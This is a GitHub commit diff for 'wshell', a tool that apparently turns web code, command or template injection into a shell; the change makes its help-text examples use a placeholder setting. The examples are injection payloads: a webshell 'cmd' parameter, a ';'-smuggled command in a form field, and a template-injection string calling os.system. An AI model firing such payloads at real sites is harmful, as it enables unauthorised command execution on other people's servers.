Skip to content

Commit aa03b25

Browse files
committed
Make example usage dynamic by using default command placeholder
1 parent 70848c8 commit aa03b25

1 file changed

Lines changed: 4 additions & 4 deletions

File tree

wshell/core.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,14 +35,14 @@ def main(args: List[Union[str, bytes]] = sys.argv) -> ExitStatus:
3535
prog="wshell",
3636
formatter_class=argparse.RawDescriptionHelpFormatter,
3737
description="Turn a web-based {code,command,template} injection in a full featured shell with ease",
38-
epilog=textwrap.dedent('''
38+
epilog=textwrap.dedent(f'''
3939
For every --ARGUMENT there is also a --no-ARGUMENT that reverts ARGUMENT
4040
4141
Example usage:
4242
43-
wshell 'https://www.example.com/webshell?cmd=^CMD^'
44-
wshell --form 'https://www.example.com/command-injection' 'p=;^CMD^ #'
45-
wshell 'https://www.example.com/ssti' 'msg=${self.module.cache.util.os.system("^CMD^")}'
43+
wshell 'https://www.example.com/webshell?cmd={settings.DEFAULT_COMMAND_PLACEHOLDER}'
44+
wshell --form 'https://www.example.com/command-injection' 'p=;{settings.DEFAULT_COMMAND_PLACEHOLDER} #'
45+
wshell 'https://www.example.com/ssti' 'msg=${{self.module.cache.util.os.system("{settings.DEFAULT_COMMAND_PLACEHOLDER}")}}'
4646
'''),
4747
add_help=True,
4848
allow_abbrev=False

0 commit comments

Comments
 (0)